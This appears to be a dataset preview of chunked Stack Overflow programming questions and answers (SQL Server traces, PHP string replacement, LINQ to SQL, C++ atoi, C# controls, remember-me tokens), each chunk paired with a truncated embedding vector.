Is there an easy way to determine what traces have been set up by `sp_trace_create` on SQL Server 2000? How about for SQL Server 2005, 2008, 2012, or 2014?
**SQL Server 2005** (onwards):
```
SELECT * FROM sys.traces
```
**SQL Server 2000** :
```
USE msdb
SELECT * FROM fn_trace_getinfo(default);
```
Re... | [
0.16662301123142242,
-0.11830839514732361,
0.2715286910533905,
0.034831393510103226,
0.3160334825515747,
-0.15321601927280426,
-0.0976463258266449,
-0.027995387092232704,
-0.3391008973121643,
-0.4570719003677368,
-0.06349571794271469,
0.010585441254079342,
-0.14446194469928741,
-0.10826183... | |
Noob question:
I'm currently under the impression that when you want to create an object, you need to `alloc` and `init` that object.
However, I've seen seen several sample codes where an `NSString` object is declared, yet I see no `alloc` or `init` messages following...
A very simple example:
> ```
> NSString *myS... | [
-0.2692153751850128,
-0.03215603902935982,
0.13097047805786133,
-0.09006615728139877,
0.01979605294764042,
-0.37357836961746216,
0.3293566405773163,
0.4643116593360901,
-0.24753133952617645,
-0.3469403088092804,
-0.43528100848197937,
0.2556510865688324,
-0.31956398487091064,
0.157631397247... | |
the compiler creates from the hard-coded string. And you don't have to manage its memory because you didn't instantiate it.
I don't know if I'm explaining it clearly enough.
**EDIT:**
It looks like there is already a question that answers this:
[Is a literal NSString autoreleased or does it need to be released?](ht... | [
0.22595924139022827,
0.34725478291511536,
0.06053220108151436,
-0.03229399770498276,
0.01592697575688362,
-0.09319725632667542,
0.2760644555091858,
-0.02563565783202648,
-0.5746133923530579,
-0.3428749144077301,
-0.2964206039905548,
0.5981165170669556,
-0.2534213364124298,
-0.1049694493412... | |
Currently I have a the following way of retrieving data from my DB:
```
$school->get('studentCount');
```
I required a shortcut to access these fields within the page and so came up with a format like this:
```
<p>Blah blah blah [[studentCount]]</p>
```
I have output buffering turned on but just need an easy way ... | [
0.13315823674201965,
0.12085110694169998,
0.6042553782463074,
0.07479448616504669,
-0.10459833592176437,
0.06650987267494202,
0.03969927504658699,
-0.04811709001660347,
-0.07966920733451843,
-0.7266950011253357,
-0.2822537124156952,
0.5064054727554321,
0.04977516457438469,
0.25680181384086... | |
('[[...]]') with whatever is returned.
Well you could create two arrays, one with the field-name strings `[[field-name]]` and one with the responses `$school->get('field-name')`. Then throw those in `str_replace` as it supports arrays.
Example from PHP Manual:
```
$phrase = "You should eat fruits, vegetables, and fi... | [
0.42035973072052,
0.09422547370195389,
0.03711152821779251,
-0.09024057537317276,
-0.10899925976991653,
0.2464623600244522,
0.1769631952047348,
0.12535716593265533,
-0.29761964082717896,
-0.5798776745796204,
-0.2727092504501343,
0.6690152287483215,
-0.05919795483350754,
-0.1470941007137298... | |
via your request:
```
$html = "Hello, [[FirstName]]! Welcome to [[SiteName]].";
$count = preg_match_all("/\[\[([\w]+)\]\]/", $html, $matches);
for ($x = 0; $x < $count; $x++)
$html = str_replace($matches[0][$x], $school->get($matches[1][$x]), $html);
```
Or using arrays:
```
$html = "Hello, [[FirstName]]! Welc... | [
0.12784478068351746,
0.05035780742764473,
0.7292547821998596,
0.19534015655517578,
0.05453205481171608,
-0.2756149470806122,
0.36686304211616516,
-0.13245773315429688,
-0.14932990074157715,
-0.8479560017585754,
-0.7913493514060974,
0.4106602370738983,
-0.21623924374580383,
0.14638189971446... | |
I'm not sure if this should be a constraint or not, but I want the "UserName" column of a table to ignore the value that is set when an insert or update is executed and instead, store the value of "DisplayUserName" column converted to lowercase. And if "DisplayUserName" is changed, "UserName" should be updated as well ... | [
0.07607892900705338,
0.23691344261169434,
0.6778141856193542,
-0.17726878821849823,
-0.02016632817685604,
-0.023805202916264534,
-0.0029753788840025663,
-0.418353408575058,
-0.2850538194179535,
-0.6183979511260986,
0.0907420665025711,
0.8695451617240906,
-0.3937823474407196,
-0.06704249233... | |
your specific business rule, because I think I didn't got it right =) | [
0.2387445718050003,
0.18390874564647675,
0.3018266260623932,
-0.13921606540679932,
0.34780532121658325,
-0.32620176672935486,
0.5040143728256226,
-0.10486578196287155,
-0.17199251055717468,
0.05721953511238098,
0.1151040643453598,
0.49384990334510803,
-0.5758741497993469,
0.084547191858291... | |
I seem to be having trouble with preprocessor directives in C#. I've created a Visual Studio 2008 C# win forms app. I add this:
```
#if (DEBUG)
textBox1.Text = "in debug mode";
#else
textBox1.Text = "in release mode";
#endif
```
And when I run in debug I see the expected "in debug mode". Howe... | [
0.24786950647830963,
0.17062260210514069,
0.1749023050069809,
-0.3320588171482086,
-0.004634292330592871,
-0.3035227656364441,
0.4513833224773407,
-0.05636762082576752,
0.10866494476795197,
-0.5281227231025696,
-0.4339902698993683,
0.8204999566078186,
-0.3610772490501404,
-0.08552905172109... | |
get the correct color-coded syntax for the code above. What gives?
Any chance you have DEBUG defined for both Debug and Release configurations? | [
0.5470183491706848,
0.07312444597482681,
-0.1174827441573143,
0.1967284083366394,
0.43966564536094666,
-0.4041043519973755,
0.1500440388917923,
0.19511987268924713,
-0.32528117299079895,
-0.35493573546409607,
-0.2651405930519104,
0.5503965616226196,
-0.3377973735332489,
-0.0413598082959651... | |
I am currently developing a program in Qt and it uses the library libqextserialport.1.dylib.
I build it and run in x-code and it spits back:
```
dyld: Library not loaded: libqextserialport.1.dylib
Referenced from: /Users/samuelreh/Desktop/QtOpenCV/build/Debug/QtOpenCV.app/Contents/MacOS/QtOpenCV
Reason: imag... | [
0.12119799852371216,
0.437730610370636,
0.4866622984409332,
0.014555653557181358,
-0.004854110069572926,
0.090192049741745,
0.4800548255443573,
-0.04599105566740036,
0.10462295264005661,
-1.0541318655014038,
-0.10283992439508438,
0.44590920209884644,
-0.4449672996997833,
0.2852108180522918... | |
you try to launch it the library cannot be found.
That's not surprising, since the dylib file is in some arbitrary directory not on the system path. You either need to copy it into `/usr/lib` (probably not a good idea) or include it in the application bundle. The latter is probably the better approach.
I've never tri... | [
0.32826828956604004,
-0.1818920075893402,
0.22560018301010132,
0.021995265036821365,
0.035556819289922714,
-0.31795933842658997,
-0.015648800879716873,
-0.1286427080631256,
0.10243640094995499,
-0.555418848991394,
-0.5235516428947449,
0.31065046787261963,
-0.2772808074951172,
0.04157176986... | |
I'm using Linq to SQL. I have a DataContext against which I am .SubmitChanges()'ing. There is an error inserting the identity field:
```
Cannot insert explicit value for identity column in table 'Rigs' when IDENTITY_INSERT is set to OFF.
```
The only identity field is "ID", which has a value of 0. It's defined in th... | [
0.0965714305639267,
0.42998090386390686,
0.6268073916435242,
0.010905802249908447,
0.04180929437279701,
-0.18761691451072693,
0.10346391052007675,
-0.4284459352493286,
0.025125250220298767,
-0.19330070912837982,
-0.04411913827061653,
0.679639995098114,
-0.18578067421913147,
0.0495391860604... | |
(@p0, @p1, @p2, @p3, @p4, @p5, @p6)
SELECT [t0].[id], [t0].[OSID], [t0].[Monitors]
FROM [dbo].[Rigs] AS [t0]
WHERE [t0].[id] = @p7',N'@p0 int,@p1 varchar(1),@p2 int,@p3 varchar(1),@p4 varchar(1),@p5 datetime,@p6 int,@p7
int',@p0=0,@p1='1',@p2=NULL,@p3='4',@p4='5',@p5=''2009-03-11 20:09:15:700'',@p6=1,@p7=0
```
Clear... | [
0.18853214383125305,
-0.2114679217338562,
0.8479192852973938,
-0.02626766636967659,
0.290842205286026,
0.09311562776565552,
0.3292836844921112,
-0.3800306022167206,
-0.6588979959487915,
-0.3611077070236206,
-0.18250834941864014,
0.4291352331638336,
0.10004923492670059,
0.3010806441307068,
... | |
= int.Parse(li.Value);
rig.RigsToVideoCards.Add(r2vc);
}
rig.UID = c_UID > 0 ? c_UID : mo.utils.UserUtils.GetUserByToken(this.Master.LiveToken).ID;
if (!mo.utils.RigUtils.Save(rig))
throw new ApplicationException("There was an error saving your Rig. I have been notified.");
hfRigID.Value = rig.id.ToString()... | [
-0.007460661698132753,
-0.06948858499526978,
0.5184569358825684,
-0.21286989748477936,
0.23510651290416718,
-0.10235608369112015,
0.5624521374702454,
-0.5661435723304749,
-0.4524141252040863,
-0.4491337835788727,
-0.05067213252186775,
0.8116617202758789,
0.05077258124947548,
0.231755599379... | |
1:** As you posted on the updated version, linq2sql is clearly passing the value to the db. Here is one I haven't had any trouble with:
```
[Column(Storage="_CustomerID", AutoSync=AutoSync.Always, DbType="Int NOT NULL IDENTITY", IsDbGenerated=true)]
public int CustomerID
```
I just saw another one, and it has the s... | [
0.2426837980747223,
0.06831778585910797,
0.2607389986515045,
-0.031157061457633972,
-0.23968501389026642,
-0.3305245637893677,
0.16254264116287231,
-0.06548942625522614,
-0.005689213518053293,
-0.5723119974136353,
-0.05039104074239731,
0.6748586297035217,
-0.2929726839065552,
0.04968390986... | |
be correct, so the Insert method linq2sql generates should be correct as well. I would try, re-adding the table on the designer again and verifying all the properties are correct.
Note that the generated insert method should look like (with a matchingRig\_Insert):
```
private void InsertRig(Rig obj)
{
System.Null... | [
-0.07095176726579666,
-0.018024807795882225,
0.5090707540512085,
-0.08550034463405609,
0.3452111482620239,
-0.10259789973497391,
0.07440394163131714,
-0.36778122186660767,
-0.0719597116112709,
-0.49894580245018005,
-0.015333912335336208,
0.8687710165977478,
-0.27730390429496765,
-0.1211052... | |
I've stumbled across either a problem with \_controlfp\_s (Visual Studio 2008), or my understanding of it. I thought the first out parameter returned the control flags before changes of the other parameters are applied. Seems it returns the flags after the change.
So, I thought the correct way to use it was like this:... | [
-0.15566784143447876,
0.36732372641563416,
0.0705612376332283,
-0.19869829714298248,
-0.05484210327267647,
0.09853170067071915,
0.2764796316623688,
-0.3836890459060669,
-0.4738938510417938,
-0.49841251969337463,
-0.14955629408359528,
0.5760847330093384,
-0.42159682512283325,
-0.16239386796... | |
do this.
btw: I've reported this to MS who said they couldn't understand it and suggested I provide a video showing the problem. Yeah right.
Brad
According to [MSDN](http://msdn.microsoft.com/en-us/library/c9676k6h.aspx):
> **If the value for mask is equal to 0**,
> \_controlfp\_s gets the floating-point control wo... | [
-0.06327018141746521,
-0.26451197266578674,
0.5270453691482544,
0.06066731736063957,
0.09808343648910522,
-0.15400363504886627,
0.2542465925216675,
-0.45025771856307983,
-0.30870431661605835,
-0.5407558679580688,
-0.3421068489551544,
0.6105549335479736,
-0.15581952035427094,
-0.21269008517... | |
the floating-point control word.
(emphasis mine)
So the way to reliably store the current control word is the second method you've written (the one you already found worked). If you're modifying the control word, then you won't be passing 0 for the mask, and per the function documentation it will not retrieve the curr... | [
-0.14678214490413666,
-0.08092594146728516,
0.38278090953826904,
0.10654500126838684,
0.05480694770812988,
0.1908574104309082,
0.18126435577869415,
-0.048626940697431564,
0.023842444643378258,
-0.48137643933296204,
-0.18175990879535675,
0.5505751967430115,
-0.04072393849492073,
-0.13590009... | |
I'm using the ajax toolkit accordion extender and I notice it performs a little "funky" when I try to embed some flash in the content sections.
You can see what I have working now at : <http://kristinsconfections.com/gallery.aspx>.
As you can see when you toggle the accordion it's a little choppy. I'm pulling the flas... | [
0.24284076690673828,
0.19744354486465454,
0.33652421832084656,
-0.10600307583808899,
0.040553368628025055,
0.007926986552774906,
0.3549146056175232,
0.1132420152425766,
-0.5068218111991882,
-0.8065776228904724,
0.318832129240036,
0.5559514760971069,
0.008437132462859154,
-0.004825227428227... | |
using on that page:
```
<cc1:Accordion ID="MyAccordion" runat="server" SelectedIndex="0"
HeaderCssClass="accordionHeader" ContentCssClass="accordionContent"
FadeTransitions="true" FramesPerSecond="40" TransitionDuration="250" AutoSize="None">
<Panes>
<cc1:AccordionPane ID="pnlCakes"... | [
-0.2671671211719513,
0.10642873495817184,
0.6841608285903931,
-0.12729297578334808,
0.16511298716068268,
0.5024160146713257,
-0.22514265775680542,
-0.39498981833457947,
-0.6202968955039978,
-0.7561401128768921,
-0.1369200199842453,
0.48286861181259155,
-0.11236574500799179,
-0.017906341701... | |
<object width="572" height="429" type="application/x-shockwave-flash"
data="http://www.flickr.com/apps/slideshow/show.swf?v=67089">
<param name="flashvars" value="&offsite=true&lang=en-us&page_show_url=%2Fphotos%2F28792515%40N08%2Fsets%2F72157612640424865%2Fshow%2F&page_sho... | [
0.05839104577898979,
0.36498913168907166,
0.6885717511177063,
0.1926557719707489,
-0.43112465739250183,
-0.016437584534287453,
0.5240141153335571,
-0.923309862613678,
-0.6065317392349243,
-0.12291307747364044,
-0.39403000473976135,
0.5576643347740173,
-0.008681217208504677,
0.0346038714051... | |
</object>
</Content>
</cc1:AccordionPane>
<cc1:AccordionPane ID="pnlCookies" runat="server">
<Header><div ><span style="float:left;">Cookies</span></div></Header>
<Content> | [
-0.0985594093799591,
-0.01702870987355709,
0.4456387758255005,
0.03612693399190903,
0.07678889483213425,
0.05294269323348999,
-0.35974279046058655,
-0.07452495396137238,
-0.7039214968681335,
-0.5230306386947632,
-0.11339327692985535,
0.18517111241817474,
-0.1776915341615677,
-0.11736854910... | |
<object width="572" height="429" type="application/x-shockwave-flash"
data="http://www.flickr.com/apps/slideshow/show.swf?v=67089">
<param name="flashvars" value="&offsite=true&lang=en-us&page_show_url=%2Fphotos%2F28792515%40N08%2Fsets%2F72157612640405779%2Fshow%2F&page_show_back_... | [
0.09448821097612381,
0.40344953536987305,
0.6929977536201477,
0.1669241338968277,
-0.4145715832710266,
0.012841279618442059,
0.49198296666145325,
-0.9085365533828735,
-0.6541959643363953,
-0.08495772629976273,
-0.37593749165534973,
0.5435160994529724,
0.003214119700714946,
0.09641042351722... | |
</object>
</Content>
</cc1:AccordionPane>
<cc1:AccordionPane ID="pnlCupcakes" runat="server">
<Header><div ><span style="float:left;">Cupcakes</span></div></Header>
<Content>
<object width="572" height="429" | [
-0.2391311228275299,
-0.22622458636760712,
0.6868443489074707,
0.048988793045282364,
-0.2203078716993332,
0.4408385455608368,
-0.45199161767959595,
0.22741402685642242,
-0.7057766914367676,
-0.30000144243240356,
0.04442813619971275,
-0.16162270307540894,
0.17219315469264984,
0.024201327934... | |
type="application/x-shockwave-flash"
data="http://www.flickr.com/apps/slideshow/show.swf?v=67089">
<param name="flashvars" value="&offsite=true&lang=en-us&page_show_url=%2Fphotos%2F28792515%40N08%2Fsets%2F72157612589253131%2Fshow%2F&page_show_back_url=%2Fphotos%2F28792515%40N08%2Fs... | [
0.07999341934919357,
0.407911092042923,
0.6530929803848267,
0.14928792417049408,
-0.3833991289138794,
-0.14516736567020416,
0.5406723618507385,
-0.9733486175537109,
-0.3785962760448456,
-0.08545052260160446,
-0.4755568206310272,
0.46697819232940674,
-0.0991988554596901,
0.13074703514575958... | |
</Content>
</cc1:AccordionPane>
</Panes>
</cc1:Accordion>
```
I find the Ajax toolkit stuff too clunky in general. JQuery is so easy to use, has good cross browser support and extensibility that we use it in preference, and I would recommend you to do the same. There is an [accordian widget](http:/... | [
0.0839771032333374,
-0.09753771871328354,
0.37433212995529175,
0.2003742903470993,
0.04515950381755829,
-0.31656330823898315,
-0.18021619319915771,
0.014454733580350876,
-0.4226827621459961,
-0.7196788191795349,
-0.09732095152139664,
0.8699722290039062,
0.054534271359443665,
-0.27647957205... | |
that you can hook into on change where you could load in the Flash. This is documented on the accordian page (and can easily be done with JQuery). | [
0.3344973623752594,
-0.25116467475891113,
0.4380985200405121,
0.23097969591617584,
0.18429924547672272,
-0.10586388409137726,
-0.09073594212532043,
-0.11852969974279404,
-0.06942877918481827,
-0.446804940700531,
-0.10079046338796616,
0.6288386583328247,
-0.2624596953392029,
-0.452529191970... | |
I have this:
```
double myDecimal = static_cast<double>(atoi(arg_vec[1]));
cout << myDecimal << endl;
```
But why when I pass the argument like this:
```
./MyCode 0.003
```
It prints `0` instead of `0.003`.
[`atoi()`](http://linux.die.net/man/3/atoi) converts to integer. You want [`atof()`](http://linux.die.ne... | [
0.027070114389061928,
0.4184597134590149,
0.5210850238800049,
-0.28524163365364075,
-0.31882041692733765,
0.30386194586753845,
0.2246575653553009,
-0.502098560333252,
-0.2233787477016449,
-0.397055983543396,
-0.0075995344668626785,
0.6656938195228577,
-0.12356734275817871,
-0.0279417280107... | |
I'm trying to learn and grasp what and how C# does things. I'm historically a Visual Foxpro (VFP) developer, and somewhat spoiled at the years of visual inheritance by creating my own baseline of user controls to be used application wide.
In trying to learn the parallels in C#, I am stuck on something. Say I derive my... | [
0.564011812210083,
0.3329511880874634,
0.1915360987186432,
0.02404358610510826,
-0.3349332809448242,
-0.003730261232703924,
0.06502466648817062,
-0.035814862698316574,
0.026108015328645706,
-0.26758983731269836,
0.00801124144345522,
0.2731528878211975,
-0.2460716962814331,
0.21782347559928... | |
class.
```
this.LabelHdr2.AutoSize = true;
this.LabelHdr2.Font = new System.Drawing.Font("Arial", 14F, System.Drawing.FontStyle.Bold);
this.LabelHdr2.ForeColor = System.Drawing.Color.Blue;
this.LabelHdr2.Location = new System.Drawing.Point(150, 65);
this.LabelHdr2.Name = "LabelHdr2";
this.LabelHdr2.Size = new System.... | [
0.04683879390358925,
-0.028870679438114166,
0.5965004563331604,
0.023406513035297394,
0.05644397810101509,
0.27070459723472595,
0.16469860076904297,
-0.47714725136756897,
-0.07647097110748291,
-0.6855155229568481,
-0.35016342997550964,
0.305218905210495,
-0.3567107915878296,
0.268244028091... | |
anything (with exception of possible alignments via sizing impacts)... but color, font, and all else are no problems in VFP...
In C#, I have to go back and change each form so it is recognized by the new / updated values of the class...
Is there a reasonable way to avoid this?
Here is a simple solution using the [`R... | [
0.22728541493415833,
-0.026003185659646988,
0.893671989440918,
-0.06014921888709068,
-0.06395801156759262,
0.0319393165409565,
0.4094538688659668,
-0.44619515538215637,
-0.0056105381809175014,
-0.8255355954170227,
-0.19230785965919495,
0.6623287796974182,
-0.19495345652103424,
0.0706641450... | |
set { /* do nothing */ }
}
}
```
The [`ReadOnlyAttribute`](http://msdn.microsoft.com/en-us/library/system.componentmodel.readonlyattribute.aspx) will disable property editing in the VS.NET designer. | [
0.3537157475948334,
-0.28684285283088684,
0.3860453963279724,
0.13575401902198792,
-0.009832282550632954,
-0.46800529956817627,
0.5837001204490662,
-0.19176240265369415,
0.01469662506133318,
-0.5424361228942871,
-0.5315200686454773,
0.7855355143547058,
-0.477514386177063,
-0.00149535306263... | |
I'm trying to add "remember me" functionality to a website using a cookie with the user's username and a token, which is also stored encrypted in a database. My question is how long should this token be? [One website I read](http://fishbowl.pastiche.org/2004/01/19/persistent_login_cookie_best_practice/) said 128bit, wh... | [
0.20967735350131989,
-0.051704615354537964,
0.42615360021591187,
0.03725094348192215,
0.20756182074546814,
0.14768743515014648,
0.21849562227725983,
0.19012045860290527,
-0.7345567345619202,
-0.3786127269268036,
0.31614866852760315,
0.07994547486305237,
0.1663038283586502,
0.34999650716781... | |
unique.)
I think it depends more on how the value is randomised than how long it is. A 256 bit hash is not secure at all if it's just a hash of something that can easily be guessed or narrowed down such as a unique ID based on the time.
However, as you've said, you are not specifically asking about how to make it rand... | [
0.16720864176750183,
0.11076118052005768,
-0.1020100936293602,
0.21523414552211761,
-0.241447314620018,
-0.19285385310649872,
0.2672669589519501,
-0.03714606165885925,
-0.6034774780273438,
-0.26469919085502625,
-0.10592637956142426,
0.20163829624652863,
0.027626868337392807,
0.058579418808... | |
ie 160 bits, but I don't think this situations applies).
Personally, for this purpose I use 256 bit hashes. When base64 encoded, they compress down to only 43 characters in length, all printable characters. I figure that even though it's way more than what I need, it's not a big hassle having them that long. | [
0.17848984897136688,
0.16069535911083221,
0.3729536235332489,
-0.12037250399589539,
0.15480774641036987,
-0.10923194885253906,
0.3330475986003876,
-0.12464822083711624,
-0.026509573683142662,
-0.7048593163490295,
0.0870615616440773,
0.2881873548030853,
-0.14877434074878693,
-0.186519473791... | |
I have a mobile app that writes to a SQL Server CE database on the device. I want to write a desktop application that can read this data and export it in CSV format.
I have been looking at [RAPI](http://msdn.microsoft.com/en-us/library/aa920150.aspx) (Remote Api), but I would prefer to do this entirely with managed cod... | [
0.42393380403518677,
0.26150545477867126,
-0.1346609741449356,
0.033692579716444016,
0.08617205917835236,
0.0923125371336937,
0.12616491317749023,
0.04133010655641556,
-0.279561847448349,
-0.5382346510887146,
0.09239420294761658,
0.5591849088668823,
-0.3258728086948395,
0.1158132329583168,... | |
that I would have to carry the entire C++ runtime environment along. So I ended up cobbling together a few methods for RAPI file handling and file system operations that call RAPI directly from C# using P/Invoke. I found a few of these methods in various places, added some more of my own, and put them all in a C# class... | [
0.31101277470588684,
0.3370780050754547,
-0.1930922269821167,
-0.060652781277894974,
-0.0286356620490551,
0.2668285369873047,
0.2211470752954483,
-0.45987462997436523,
-0.058683305978775024,
-0.23906734585762024,
0.2157953977584839,
1.009202003479004,
-0.2573747932910919,
-0.46938568353652... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.